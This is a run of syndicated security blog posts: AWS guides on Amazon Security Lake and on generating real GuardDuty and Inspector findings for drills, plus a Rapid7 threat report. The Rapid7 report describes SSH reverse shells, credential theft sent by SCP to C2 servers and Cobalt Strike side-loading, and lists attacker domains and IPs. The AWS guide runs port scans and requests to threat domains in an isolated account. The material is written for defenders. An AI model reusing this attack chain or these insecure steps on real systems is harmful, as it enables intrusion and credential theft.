Security Lake addresses the preceding challenges as follows:

  • Unleash security detection capability by centralizing detection data
    • With a purpose-built security data lake with a standard object schema, organizations can centrally access their security data—AWS and third-party—using the same set of IR tools. This can help you investigate incidents that involve multiple resources and complex timelines, which could require access logs, network logs, and other security findings. For example, use Amazon Athena to query all your security data. You can also build a centralized security finding dashboard with Amazon QuickSight.
  • Reduce management burden
    • With Security Lake, permissions complexity is reduced. You use the same access controls in AWS Identity and Access Management (IAM) to make sure that only the right people and systems have access to sensitive security data.

See this blog post for more details on generating machine learning insights for Security Lake data by using Amazon SageMaker.

Stage 4: Post-Incident Activity

Continuous improvement helps customers to further develop their IR capabilities. Teams should integrate lessons learned into their tools, policies, and processes. You decide on lifecycle policies for your security data. You can then retroactively review event data for insight and to support lessons learned. You can also share security telemetry at levels of granularity you define. Your organization can then establish distributed data views for forensic purposes and other purposes, while enforcing least privilege for data governance.

Figure 4 shows how Security Lake can accelerate the post-incident activity stage during the incident response process. Security Lake natively integrates with AWS Organizations to enable data sharing across various OUs within the organization, which further unleashes the power of machine learning to automatically create insights for incident response.

Figure 4: Security Lake accelerates post-incident activity

Figure 4: Security Lake accelerates post-incident activity

Having covered some advantages of working with your data in Security Lake, we will now demonstrate best practices for getting Security Lake set up.

Setting up for success with Security Lake

Most of the customers we work with run multiple AWS accounts, usually with AWS Organizations. With that in mind, we’re going to show you how to set up Security Lake and related tooling in line with guidance in the AWS Security Reference Architecture (AWS SRA). The AWS SRA provides guidance on how to deploy AWS security services in a multi-account environment. You will have one AWS account for security tooling and a different account to centralize log storage. You’ll run Security Lake in this log storage account.

If you just want to use Security Lake in a standalone account, follow these instructions.

Set up Security Lake in your logging account

Most of the instructions we link to in this section describe the process using either the console or AWS CLI tools. Where necessary, we’ve described the console experience for illustrative purposes.

The AmazonSecurityLakeAdministrator AWS managed IAM policy grants the permissions needed to set up Security Lake and related services. Note that you may want to further refine permissions, or remove that managed policy after Security Lake and the related services are set up and running.

To set up Security Lake in your logging account

  1. Note down the AWS account number that will be your delegated administrator account. This will be your centralized archive logs account. In the AWS Management Console, sign in to your Organizations management account and set up delegated administration for Security Lake.
  2. Sign in to the delegated administrator account, go to the Security Lake console, and choose Get started. Then follow these instructions from the Security Lake User Guide. While you’re setting this up, note the following specific guidance (this will make it easier to follow the second blog post in this series):

    Define source objective: For Sources to ingest, we recommend that you select Ingest the AWS default sources. However, if you want to include S3 data events, you’ll need to select Ingest specific AWS sources and then select CloudTrail – S3 data events. Note that we use these events for responding to the incident in blog post part 2, when we really drill down into user activity.

    Figure 5 shows the configuration of sources to ingest in Security Lake.

    Figure 5: Sources to ingest in Security Lake

    Figure 5: Sources to ingest in Security Lake

    We recommend leaving the other settings on this page as they are.

    Define target objective: We recommend that you choose Add rollup Region and add multiple AWS Regions to a designated rollup Region. The rollup Region is the one to which you will consolidate logs. The contributing Region is the one that will contribute logs to the rollup Region.

    Figure 6 shows how to select the rollup regions.

    Figure 6: Select rollup Regions

    Figure 6: Select rollup Regions

You now have Security Lake enabled, and in the background, additional services such as AWS Lake Formation and AWS Glue have been configured to organize your Security Lake data.

Now you need to configure a subscriber with query access so that you can query your Security Lake data. Here are a few recommendations:

  1. Subscribers are specific to a Region, so you want to make sure that you set up your subscriber in the same Region as your rollup Region.
  2. You will also set up an External ID. This is a value you define, and it’s used by the IAM role to prevent the confused deputy problem. Note that the subscriber will be your security tooling account.
  3. You will select Lake Formation for Data access, which will create shares in AWS Resource Access Manager (AWS RAM) that will be shared with the account that you specified in Subscriber credentials.
  4. If you’ve already set up Security Lake at some time in the past, you should select Specific log and event sources and confirm the source and version you want the subscriber to access. If it’s a new implementation, we recommend using version 2.0 or greater.
  5. There’s a note in the console that says the subscribing account will need to accept the RAM resource shares. However, if you’re using AWS Organizations, you don’t need to do that; the resource share will already list a status of Active when you select the Shared with me >> Resource shares in the subscriber (security tooling) account RAM console.

Note: If you prefer a visual guide, you can refer to this video to set up Security Lake in AWS Organizations.

Set up Amazon Athena and AWS Lake Formation in the security tooling account

If you go to Athena in your security tooling account, you won’t see your Security Lake tables yet because the tables are shared from the Security Lake account. Although services such as Amazon Athena can’t directly access databases or tables across accounts, the use of resource links overcomes this challenge.

To set up Athena and Lake Formation

  1. Go to the Lake Formation console in the security tooling account and follow the instructions to create resource links for the shared Security Lake tables. You’ll most likely use the Default database and will see your tables there. The table names in that database start with amazon_security_lake_table. You should expect to see about eight tables there.

    Figure 7 shows the shared tables in the Lake Formation service console.

    Figure 7: Shared tables in Lake Formation

    Figure 7: Shared tables in Lake Formation

    You will need to create resource links for each table, as described in the instructions from the Lake Formation Developer Guide.

    Figure 8 shows the resource link creation process.

    Figure 8: Creating resource links

    Figure 8: Creating resource links

  2. Next, go to Amazon Athena in the same Region. If Athena is not set up, follow the instructions to get it set up for SQL queries. Note that you won’t need to create a database—you’re going to use the “default” database that already exists. Select it from the Database drop-down menu in the Query editor view.
  3. In the Tables section, you should see all your Security Lake tables (represented by whatever names you gave them when you created the resource links in step 1, earlier).

Get your incident response playbooks ready

Incident response playbooks are an important tool that enable responders to work more effectively and consistently, and enable the organization to get incidents resolved more quickly. We’ve created some ready-to-go templates to get you started. You can further customize these templates to meet your needs. In part two of this post, you’ll be using the Unintended Data Access to an Amazon Simple Storage Service (Amazon S3) bucket playbook to resolve an incident. You can download that playbook so that you’re ready to follow it to get that incident resolved.

Conclusion

This is the first post in a two-part series about accelerating security incident response with Security Lake. We highlighted common challenges that decelerate customers’ incident responses across the stages outlined by NIST SP 800-61 and how Security Lake can help you address those challenges. We also showed you how to set up Security Lake and related services for incident response.

In the second part of this series, we’ll walk through a specific security incident—unintended data access—and share prescriptive guidance on using Security Lake to accelerate your incident response process.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Want more AWS Security news? Follow us on Twitter.

Jerry Chen

Jerry Chen

Jerry is currently a Senior Cloud Optimization Success Solutions Architect at AWS. He focuses on cloud security and operational architecture design for AWS customers and partners. You can follow Jerry on LinkedIn.

Frank Phillis

Frank Phillis

Frank is a Senior Solutions Architect (Security) at AWS. He enables customers to get their security architecture right. Frank specializes in cryptography, identity, and incident response. He’s the creator of the popular AWS Incident Response playbooks and regularly speaks at security events. When not thinking about tech, Frank can be found with his family, riding bikes, or making music.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators

Co-authored by Rapid7 analysts Tyler McGraw, Thomas Elkins, and Evan McCann

Executive Summary

Rapid7 has identified an ongoing social engineering campaign that has been targeting multiple managed detection and response (MDR) customers. The incident involves a threat actor overwhelming a user’s email with junk and calling the user, offering assistance. The threat actor prompts impacted users to download remote monitoring and management software like AnyDesk or utilize Microsoft’s built-in Quick Assist feature in order to establish a remote connection. Once a remote connection has been established, the threat actor moves to download payloads from their infrastructure in order to harvest the impacted users credentials and maintain persistence on the impacted users asset.

In one incident, Rapid7 observed the threat actor deploying Cobalt Strike beacons to other assets within the compromised network. While ransomware deployment was not observed in any of the cases Rapid7 responded to, the indicators of compromise we observed were previously linked with the Black Basta ransomware operators based on OSINT and other incident response engagements handled by Rapid7.

Overview

Since late April 2024, Rapid7 identified multiple cases of a novel social engineering campaign. The attacks begin with a group of users in the target environment receiving a large volume of spam emails. In all observed cases, the spam was significant enough to overwhelm the email protection solutions in place and arrived in the user’s inbox. Rapid7 determined many of the emails themselves were not malicious, but rather consisted of newsletter sign-up confirmation emails from numerous legitimate organizations across the world.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 1. Example spam email.

With the emails sent, and the impacted users struggling to handle the volume of the spam, the threat actor then began to cycle through calling impacted users posing as a member of their organization’s IT team reaching out to offer support for their email issues. For each user they called, the threat actor attempted to socially engineer the user into providing remote access to their computer through the use of legitimate remote monitoring and management solutions. In all observed cases, Rapid7 determined initial access was facilitated by either the download and execution of the commonly abused RMM solution AnyDesk, or the built-in Windows remote support utility Quick Assist.

In the event the threat actor’s social engineering attempts were unsuccessful in getting a user to provide remote access, Rapid7 observed they immediately moved on to another user who had been targeted with their mass spam emails.

Once the threat actor successfully gains access to a user’s computer, they begin executing a series of batch scripts, presented to the user as updates, likely in an attempt to appear more legitimate and evade suspicion. The first batch script executed by the threat actor typically verifies connectivity to their command and control (C2) server and then downloads a zip archive containing a legitimate copy of OpenSSH for Windows (ultimately renamed to ***RuntimeBroker.exe***), along with its dependencies, several RSA keys, and other Secure Shell (SSH) configuration files. SSH is a protocol used to securely send commands to remote computers over the internet. While there are hard-coded C2 servers in many of the batch scripts, some are written so the C2 server and listening port can be specified on the command line as an override.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 2. Initial batch script snippet
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 3. Compressed SSH files within s.zip.

The script then establishes persistence via run key entries  in the Windows registry. The run keys created by the batch script point to additional batch scripts that are created at run time. Each batch script pointed to by the run keys executes SSH via PowerShell in an infinite loop to attempt to establish a reverse shell connection to the specified C2 server using the downloaded RSA private key. Rapid7 observed several different variations of the batch scripts used by the threat actor, some of which also conditionally establish persistence using other remote monitoring and management solutions, including NetSupport and ScreenConnect.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 4. The batch script creates run keys for persistence.

In all observed cases, Rapid7 has identified the usage of a batch script to harvest the victim’s credentials from the command line using PowerShell. The credentials are gathered under the false context of the “update” requiring the user to log in. In most of the observed batch script variations, the credentials are immediately exfiltrated to the threat actor’s server via a Secure Copy command (SCP). In at least one other observed script variant, credentials are saved to an archive and must be manually retrieved.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 5. Stolen credentials are typically exfiltrated immediately.
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 6. Script variant with no secure copy for exfiltration.

In one observed case, once the initial compromise was completed, the threat actor then attempted to move laterally throughout the environment via SMB using Impacket, and ultimately failed to deploy Cobalt Strike despite several attempts. While Rapid7 did not observe successful data exfiltration or ransomware deployment in any of our investigations, the indicators of compromise found via forensic analysis conducted by Rapid7 are consistent with the Black Basta ransomware group based on internal and open source intelligence.

Forensic Analysis

In one incident, Rapid7 observed the threat actor attempting to deploy additional remote monitoring and management tools including ScreenConnect and the NetSupport remote access trojan (RAT). Rapid7 acquired the Client32.ini file, which holds the configuration data for the NetSupport RAT, including domains for the connection. Rapid7 observed the NetSupport RAT attempt communication with the following domains:

  • rewilivak13[.]com
  • greekpool[.]com
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 7 – NetSupport RAT Files and Client32.ini Content

After successfully gaining access to the compromised asset, Rapid7 observed the threat actor attempting to deploy Cobalt Strike beacons, disguised as a legitimate Dynamic Link Library (DLL) named 7z.DLL, to other assets within the same network as the compromised asset using the Impacket toolset.

In our analysis of 7z.DLL, Rapid7 observed the DLL was altered to include a function whose purpose was to XOR-decrypt the Cobalt Strike beacon using a hard-coded key and then execute the beacon.

The threat actor would attempt to deploy the Cobalt Strike beacon by executing the legitimate binary 7zG.exe and passing a command line argument of `b`, i.e. `C:\Users\Public\7zG.exe b`. By doing so, the legitimate binary 7zG.exe side-loads 7z.DLL, which in turn executes the embedded Cobalt Strike beacon. This technique is known as DLL side-loading, a method Rapid7 previously discussed in a blog post on the IDAT Loader.

Upon successful execution, Rapid7 observed the beacon inject a newly created process, choice.exe.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 8 – Sample Cobalt Strike Configuration

Mitigations

Rapid7 recommends baselining your environment for all installed remote monitoring and management solutions and utilizing application allowlisting solutions, such as AppLocker or ​​Microsoft Defender Application Control, to block all unapproved RMM solutions from executing within the environment. For example, the Quick Assist tool, quickassist.exe, can be blocked from execution via AppLocker.  As an additional precaution, Rapid7 recommends blocking domains associated with all unapproved RMM solutions. A public GitHub repo containing a catalog of RMM solutions, their binary names, and associated domains can be found here.

Rapid7 recommends ensuring users are aware of established IT channels and communication methods to identify and prevent common social engineering attacks. We also recommend ensuring users are empowered to report suspicious phone calls and texts purporting to be from internal IT staff.

MITRE ATT&CK Techniques

Tactic Technique Procedure
Denial of Service T1498: Network Denial of Service The threat actor overwhelms email protection solutions with spam.
Initial Access T1566.004: Phishing: Spearphishing Voice The threat actor calls impacted users and pretends to be a member of their organization’s IT team to gain remote access.
Execution T1059.003: Command and Scripting Interpreter: Windows Command Shell The threat actor executes batch script after establishing remote access to a user’s asset.
Execution T1059.001: Command and Scripting Interpreter: PowerShell Batch scripts used by the threat actor execute certain commands via PowerShell.
Persistence T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder The threat actor creates a run key to execute a batch script via PowerShell, which then attempts to establish a reverse tunnel via SSH.
Defense Evasion T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification The threat actor uses cacls.exe via batch script to modify file permissions.
Defense Evasion T1140: Deobfuscate/Decode Files or Information The threat actor encrypted several zip archive payloads with the password “qaz123”.
Credential Access T1056.001: Input Capture: Keylogging The threat actor runs a batch script that records the user’s password via command line input.
Discovery T1033: System Owner/User Discovery The threat actor uses whoami.exe to evaluate if the impacted user is an administrator or not.
Lateral Movement T1570: Lateral Tool Transfer Impacket was used to move payloads between compromised systems.
Command and Control T1572: Protocol Tunneling An SSH reverse tunnel is used to provide the threat actor with persistent remote access.

Rapid7 Customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:

Detections
Attacker Technique – Renamed SSH For Windows
Persistence – Run Key Added by Reg.exe
Suspicious Process – Non Approved Application
Suspicious Process – 7zip Executed From Users Directory (*InsightIDR product only customers should evaluate and determine if they would like to activate this detection within the InsightIDR detection library; this detection is currently active for MDR/MTC customers)
Attacker Technique – Enumerating Domain Or Enterprise Admins With Net Command
Network Discovery – Domain Controllers via Net.exe

Indicators of Compromise

Network Based Indicators (NBIs)

Domain/IPv4 Address Notes
upd7[.]com Batch script and remote access tool host.
upd7a[.]com Batch script and remote access tool host.
195.123.233[.]55 C2 server contained within batch scripts.
38.180.142[.]249 C2 server contained within batch scripts.
5.161.245[.]155 C2 server contained within batch scripts.
20.115.96[.]90 C2 server contained within batch scripts.
91.90.195[.]52 C2 server contained within batch scripts.
195.123.233[.]42 C2 server contained within batch scripts.
15.235.218[.]150 AnyDesk server used by the threat actor.
greekpool[.]com Primary NetSupport RAT gateway.
rewilivak13[.]com Secondary NetSupport RAT gateway.
77.246.101[.]135 C2 address used to connect via AnyDesk.
limitedtoday[.]com Cobalt Strike C2 domain.
thetrailbig[.]net Cobalt Strike C2 domain.

Host-based indicators (HBIs)

File SHA256 Notes
s.zip C18E7709866F8B1A271A54407973152BE1036AD3B57423101D7C3DA98664D108 Payload containing SSH config files used by the threat actor.
id_rsa 59F1C5FE47C1733B84360A72E419A07315FBAE895DD23C1E32F1392E67313859 Private RSA key that is downloaded to impacted assets.
id_rsa_client 2EC12F4EE375087C921BE72F3BD87E6E12A2394E8E747998676754C9E3E9798E Private RSA key that is downloaded to impacted assets.
authorized_keys 35456F84BC88854F16E316290104D71A1F350E84B479EEBD6FBB2F77D36BCA8A Authorized key downloaded to impacted assets by the threat actor.
RuntimeBroker.exe 6F31CF7A11189C683D8455180B4EE6A60781D2E3F3AADF3ECC86F578D480CFA9 Renamed copy of the legitimate OpenSSH for Windows utility.
a.zip A47718693DC12F061692212A354AFBA8CA61590D8C25511C50CFECF73534C750 Payload that contains a batch script and the legitimate ScreenConnect setup executable.
a3.zip 76F959205D0A0C40F3200E174DB6BB030A1FDE39B0A190B6188D9C10A0CA07C8 Contains a credential harvesting batch script.

How to generate security findings to help your security team with incident response simulations

Post Syndicated from Jonathan Nguyen original https://aws.amazon.com/blogs/security/how-to-generate-security-findings-to-help-your-security-team-with-incident-response-simulations/

Continually reviewing your organization’s incident response capabilities can be challenging without a mechanism to create security findings with actual Amazon Web Services (AWS) resources within your AWS estate. As prescribed within the AWS Security Incident Response whitepaper, it’s important to periodically review your incident response capabilities to make sure your security team is continually maturing internal processes and assessing capabilities within AWS. Generating sample security findings is useful to understand the finding format so you can enrich the finding with additional metadata or create and prioritize detections within your security information event management (SIEM) solution. However, if you want to conduct an end-to-end incident response simulation, including the creation of real detections, sample findings might not create actionable detections that will start your incident response process because of alerting suppressions you might have configured, or imaginary metadata (such as synthetic Amazon Elastic Compute Cloud (Amazon EC2) instance IDs), which might confuse your remediation tooling.

In this post, we walk through how to deploy a solution that provisions resources to generate simulated security findings for actual provisioned resources within your AWS account. Generating simulated security findings in your AWS account gives your security team an opportunity to validate their cyber capabilities, investigation workflow and playbooks, escalation paths across teams, and exercise any response automation currently in place.

Important: It’s strongly recommended that the solution be deployed in an isolated AWS account with no additional workloads or sensitive data. No resources deployed within the solution should be used for any purpose outside of generating the security findings for incident response simulations. Although the security findings are non-destructive to existing resources, they should still be done in isolation. For any AWS solution deployed within your AWS environment, your security team should review the resources and configurations within the code.

Conducting incident response simulations

Before deploying the solution, it’s important that you know what your goal is and what type of simulation to conduct. If you’re primarily curious about the format that active Amazon GuardDuty findings will create, you should generate sample findings with GuardDuty. At the time of this writing, Amazon Inspector doesn’t currently generate sample findings.

If you want to validate your incident response playbooks, make sure you have playbooks for the security findings the solution generates. If those playbooks don’t exist, it might be a good idea to start with a high-level tabletop exercise to identify which playbooks you need to create.

Because you’re running this sample in an AWS account with no workloads, it’s recommended to run the sample solution as a purple team exercise. Purple team exercises should be periodically run to support training for new analysts, validate existing playbooks, and identify areas of improvement to reduce the mean time to respond or identify areas where processes can be optimized with automation.

Now that you have a good understanding of the different simulation types, you can create security findings in an isolated AWS account.

Prerequisites

  1. [Recommended] A separate AWS account containing no customer data or running workloads
  2. GuardDuty, along with GuardDuty Kubernetes Protection
  3. Amazon Inspector must be enabled
  4. [Optional] AWS Security Hub can be enabled to show a consolidated view of security findings generated by GuardDuty and Inspector

Solution architecture

The architecture of the solution can be found in Figure 1.

Figure 1: Sample solution architecture diagram

Figure 1: Sample solution architecture diagram

  1. A user specifies the type of security findings to generate by passing an AWS CloudFormation parameter.
  2. An Amazon Simple Notification Service (Amazon SNS) topic is created to subscribe to findings for notifications. Subscribed users are notified of the finding through the deployed SNS topic.
  3. Upon user selection of the CloudFormation parameter, EC2 instances are provisioned to run commands to generate security findings.

    Note: If the parameter inspector is provided during deployment, then only one EC2 instance is deployed. If the parameter guardduty is provided during deployment, then two EC2 instances are deployed.

  4. For Amazon Inspector findings:
    1. The Amazon EC2 user data creates a .txt file with vulnerable images, pulls down Docker images from open source vulhub, and creates an Amazon Elastic Container Registry (Amazon ECR) repository with the vulnerable images.
    2. The EC2 user data pushes and tags the images in the ECR repository which results in Amazon Inspector findings being generated.
    3. An Amazon EventBridge cron-style trigger rule, inspector_remediation_ecr, invokes an AWS Lambda function.
    4. The Lambda function, ecr_cleanup_function, cleans up the vulnerable images in the deployed Amazon ECR repository based on applied tags and sends a notification to the Amazon SNS topic.

      Note: The ecr_cleanup_function Lambda function is also invoked as a custom resource to clean up vulnerable images during deployment. If there are issues with cleanup, the EventBridge rule continually attempts to clean up vulnerable images.

  5. For GuardDuty, the following actions are taken and resources are deployed:
    1. An AWS Identity and Access Management (IAM) user named guardduty-demo-user is created with an IAM access key that is INACTIVE.
    2. An AWS Systems Manager parameter stores the IAM access key for guardduty-demo-user.
    3. An AWS Secrets Manager secret stores the inactive IAM secret access key for guardduty-demo-user.
    4. An Amazon DynamoDB table is created, and the table name is stored in a Systems Manager parameter to be referenced within the EC2 user data.
    5. An Amazon Simple Storage Service (Amazon S3) bucket is created, and the bucket name is stored in a Systems Manager parameter to be referenced within the EC2 user data.
    6. A Lambda function adds a threat list to GuardDuty that includes the IP addresses of the EC2 instances deployed as part of the sample.
    7. EC2 user data generates GuardDuty findings for the following:
      1. Amazon Elastic Kubernetes Service (Amazon EKS)
        1. Installs eksctl from GitHub.
        2. Creates an EC2 key pair.
        3. Creates an EKS cluster (dependent on availability zone capacity).
        4. Updates EKS cluster configuration to make a dashboard public.
      2. DynamoDB
        1. Adds an item to the DynamoDB table for Joshua Tree.
      3. EC2
        1. Creates an AWS CloudTrail trail named guardduty-demo-trail-<GUID> and subsequently deletes the same CloudTrail trail. The <GUID> is randomly generated by using the $RANDOM function
        2. Runs portscan on 172.31.37.171 (an RFC 1918 private IP address) and private IP of the EKS Deployment EC2 instance provisioned as part of the sample. Port scans are primarily used by bad actors to search for potential vulnerabilities. The target of the port scans are internal IP addresses and do not leave the sample VPC deployed.
        3. Curls DNS domains that are labeled for bitcoin, command and control, and other domains associated with known threats.
      4. Amazon S3
        1. Disables Block Public Access and server access logging for the S3 bucket provisioned as part of the solution.
      5. IAM
        1. Deletes the existing account password policy and creates a new password policy with a minimum length of six characters.
  6. The following Amazon EventBridge rules are created:
    1. guardduty_remediation_eks_rule – When a GuardDuty finding for EKS is created, a Lambda function attempts to delete the EKS resources. Subscribed users are notified of the finding through the deployed SNS topic.
    2. guardduty_remediation_credexfil_rule – When a GuardDuty finding for InstanceCredentialExfiltration is created, a Lambda function is used to revoke the IAM role’s temporary security credentials and AWS permissions. Subscribed users are notified of the finding through the deployed SNS topic.
    3. guardduty_respond_IAMUser_rule – When a GuardDuty finding for IAM is created, subscribed users are notified through the deployed SNS topic. There is no remediation activity triggered by this rule.
    4. Guardduty_notify_S3_rule – When a GuardDuty finding for Amazon S3 is created, subscribed users are notified through the deployed Amazon SNS topic. This rule doesn’t invoke any remediation activity.
  7. The following Lambda functions are created:
    1. guardduty_iam_remediation_function – This function revokes active sessions and sends a notification to the SNS topic.
    2. eks_cleanup_function – This function deletes the EKS resources in the EKS CloudFormation template.

      Note: Upon attempts to delete the overall sample CloudFormation stack, this runs to delete the EKS CloudFormation template.

  8. An S3 bucket stores EC2 user data scripts run from the EC2 instances

Solution deployment

You can deploy the SecurityFindingGeneratorStack solution by using either the AWS Management Console or the AWS Cloud Development Kit (AWS CDK).

Option 1: Deploy the solution with AWS CloudFormation using the console

Use the console to sign in to your chosen AWS account and then choose the Launch Stack button to open the AWS CloudFormation console pre-loaded with the template for this solution. It takes approximately 10 minutes for the CloudFormation stack to complete.

Launch Stack

Option 2: Deploy the solution by using the AWS CDK

You can find the latest code for the SecurityFindingGeneratorStack solution in the SecurityFindingGeneratorStack GitHub repository, where you can also contribute to the sample code. For instructions and more information on using the AWS Cloud Development Kit (AWS CDK), see Get Started with AWS CDK.

To deploy the solution by using the AWS CDK

  1. To build the app when navigating to the project’s root folder, use the following commands:
    npm install -g aws-cdk-lib
    npm install

  2. Run the following command in your terminal while authenticated in your separate deployment AWS account to bootstrap your environment. Be sure to replace <INSERT_AWS_ACCOUNT> with your account number and replace <INSERT_REGION> with the AWS Region that you want the solution deployed to.
    cdk bootstrap aws://<INSERT_AWS_ACCOUNT>/<INSERT_REGION>

  3. Deploy the stack to generate findings based on a specific parameter that is passed. The following parameters are available:
    1. inspector
    2. guardduty
    cdk deploy SecurityFindingGeneratorStack –parameters securityserviceuserdata=inspector

Reviewing security findings

After the solution successfully deploys, security findings should start appearing in your AWS account’s GuardDuty console within a couple of minutes.

Amazon GuardDuty findings

In order to create a diverse set of GuardDuty findings, the solution uses Amazon EC2 user data to run scripts. Those scripts can be found in the sample repository. You can also review and change scripts as needed to fit your use case or to remove specific actions if you don’t want specific resources to be altered or security findings to be generated.

A comprehensive list of active GuardDuty finding types and details for each finding can be found in the Amazon GuardDuty user guide. In this solution, activities which cause the following GuardDuty findings to be generated, are performed:

To generate the EKS security findings, the EKS Deployment EC2 instance is running eksctl commands that deploy CloudFormation templates. If the EKS cluster doesn’t deploy, it might be because of capacity restraints in a specific Availability Zone. If this occurs, manually delete the failed EKS CloudFormation templates.

If you want to create the EKS cluster and security findings manually, you can do the following:

  1. Sign in to the Amazon EC2 console.
  2. Connect to the EKS Deployment EC2 instance using an IAM role that has access to start a session through Systems Manager. After connecting to the ssm-user, issue the following commands in the Session Manager session:
    1. sudo chmod 744 /home/ec2-user/guardduty-script.sh
    2. chown ec2-user /home/ec2-user/guardduty-script.sh
    3. sudo /home/ec2-user/guardduty-script.sh

It’s important that your security analysts have an incident response playbook. If playbooks don’t exist, you can refer to the GuardDuty remediation recommendations or AWS sample incident response playbooks to get started building playbooks.

Amazon Inspector findings

The findings for Amazon Inspector are generated by using the open source Vulhub collection. The open source collection has pre-built vulnerable Docker environments that pull images into Amazon ECR.

The Amazon Inspector findings that are created vary depending on what exists within the open source library at deployment time. The following are examples of findings you will see in the console:

For Amazon Inspector findings, you can refer to parts 1 and 2 of Automate vulnerability management and remediation in AWS using Amazon Inspector and AWS Systems Manager.

Clean up

If you deployed the security finding generator solution by using the Launch Stack button in the console or the CloudFormation template security_finding_generator_cfn, do the following to clean up:

  1. In the CloudFormation console for the account and Region where you deployed the solution, choose the SecurityFindingGeneratorStack stack.
  2. Choose the option to Delete the stack.

If you deployed the solution by using the AWS CDK, run the command cdk destroy.

Important: The solution uses eksctl to provision EKS resources, which deploys additional CloudFormation templates. There are custom resources within the solution that will attempt to delete the provisioned CloudFormation templates for EKS. If there are any issues, you should verify and manually delete the following CloudFormation templates:

  • eksctl-GuardDuty-Finding-Demo-cluster
  • eksctl-GuardDuty-Finding-Demo-addon-iamserviceaccount-kube-system-aws-node
  • eksctl-GuardDuty-Finding-Demo-nodegroup-ng-<GUID>

Conclusion

In this blog post, I showed you how to deploy a solution to provision resources in an AWS account to generate security findings. This solution provides a technical framework to conduct periodic simulations within your AWS environment. By having real, rather than simulated, security findings, you can enable your security teams to interact with actual resources and validate existing incident response processes. Having a repeatable mechanism to create security findings also provides your security team the opportunity to develop and test automated incident response capabilities in your AWS environment.

AWS has multiple services to assist with increasing your organization’s security posture. Security Hub provides native integration with AWS security services as well as partner services. From Security Hub, you can also implement automation to respond to findings using custom actions as seen in Use Security Hub custom actions to remediate S3 resources based on Amazon Macie discovery results. In part two of a two-part series, you can learn how to use Amazon Detective to investigate security findings in EKS clusters. Amazon Security Lake automatically normalizes and centralizes your data from AWS services such as Security Hub, AWS CloudTrail, VPC Flow Logs, and Amazon Route 53, as well as custom sources to provide a mechanism for comprehensive analysis and visualizations.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, start a new thread on the Incident Response re:Post or contact AWS Support.

Author

Jonathan Nguyen

Jonathan is a Principal Security Architect at AWS. His background is in AWS security with a focus on threat detection and incident response. He helps enterprise customers develop a comprehensive AWS security strategy and deploy security solutions at scale, and trains customers on AWS security best practices.

How to develop an Amazon Security Lake POC

Post Syndicated from Anna McAbee original https://aws.amazon.com/blogs/security/how-to-develop-an-amazon-security-lake-poc/

You can use Amazon Security Lake to simplify log data collection and retention for Amazon Web Services (AWS) and non-AWS data sources. To make sure that you get the most out of your implementation requires proper planning.

In this post, we will show you how to plan and implement a proof of concept (POC) for Security Lake to help you determine the functionality and value of Security Lake in your environment, so that your team can confidently design and implement in production. We will walk you through the following steps:

  1. Understand the functionality and value of Security Lake
  2. Determine success criteria for the POC
  3. Define your Security Lake configuration
  4. Prepare for deployment
  5. Enable Security Lake
  6. Validate deployment

Understand the functionality of Security Lake

Figure 1 summarizes the main features of Security Lake and the context of how to use it:

Figure 1: Overview of Security Lake functionality

Figure 1: Overview of Security Lake functionality

As shown in the figure, Security Lake ingests and normalizes logs from data sources such as AWS services, AWS Partner sources, and custom sources. Security Lake also manages the lifecycle, orchestration, and subscribers. Subscribers can be AWS services, such as Amazon Athena, or AWS Partner subscribers.

There are four primary functions that Security Lake provides:

  • Centralize visibility to your data from AWS environments, SaaS providers, on-premises, and other cloud data sources — You can collect log sources from AWS services such as AWS CloudTrail management events, Amazon Simple Storage Service (Amazon S3) data events, AWS Lambda data events, Amazon Route 53 Resolver logs, VPC Flow Logs, and AWS Security Hub findings, in addition to log sources from on-premises, other cloud services, SaaS applications, and custom sources. Security Lake automatically aggregates the security data across AWS Regions and accounts.
  • Normalize your security data to an open standard — Security Lake normalizes log sources in a common schema, the Open Security Schema Framework (OCSF), and stores them in compressed parquet files.
  • Use your preferred analytics tools to analyze your security data — You can use AWS tools, such as Athena and Amazon OpenSearch Service, or you can utilize external security tools to analyze the data in Security Lake.
  • Optimize and manage your security data for more efficient storage and query — Security Lake manages the lifecycle of your data with customizable retention settings with automated storage tiering to help provide more cost-effective storage.

Determine success criteria

By establishing success criteria, you can assess whether Security Lake has helped address the challenges that you are facing. Some example success criteria include:

  • I need to centrally set up and store AWS logs across my organization in AWS Organizations for multiple log sources.
  • I need to more efficiently collect VPC Flow Logs in my organization and analyze them in my security information and event management (SIEM) solution.
  • I want to use OpenSearch Service to replace my on-premises SIEM.
  • I want to collect AWS log sources and custom sources for machine learning with Amazon Sagemaker.
  • I need to establish a dashboard in Amazon QuickSight to visualize my Security Hub findings and a custom log source data.

Review your success criteria to make sure that your goals are realistic given your timeframe and potential constraints that are specific to your organization. For example, do you have full control over the creation of AWS services that are deployed in an organization? Do you have resources that can dedicate time to implement and test? Is this time convenient for relevant stakeholders to evaluate the service?

The timeframe of your POC will depend on your answers to these questions.

Important: Security Lake has a 15-day free trial per account that you use from the time that you enable Security Lake. This is the best way to estimate the costs for each Region throughout the trial, which is an important consideration when you configure your POC.

Define your Security Lake configuration

After you establish your success criteria, you should define your desired Security Lake configuration. Some important decisions include the following:

  • Determine AWS log sources — Decide which AWS log sources to collect. For information about the available options, see Collecting data from AWS services.
